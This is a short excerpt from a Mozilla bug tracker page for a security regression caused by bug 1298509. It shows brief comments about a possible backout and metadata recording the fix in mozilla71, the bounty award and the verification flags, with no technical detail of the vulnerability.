Hi :lizzard, could you help to find someone to backout bug 1298509. Thanks.

Sorry, please hold on a bit, I just found another possible solution, let me give it a shot.

Flags: needinfo?(lhenry)

It is a regression of bug 1298509.

Group: dom-core-security → core-security-release
Status: NEW → RESOLVED
Closed: 3 years ago
Resolution: --- → FIXED
Target Milestone: --- → mozilla71
Flags: sec-bounty?
Flags: sec-bounty? → sec-bounty+
Keywords: regression
Regressed by: 1298509
Flags: qe-verify+
Whiteboard: [post-critsmash-triage]
Group: core-security-release
Has Regression Range: --- → yes
You need to log in before you can comment on or make changes to this bug.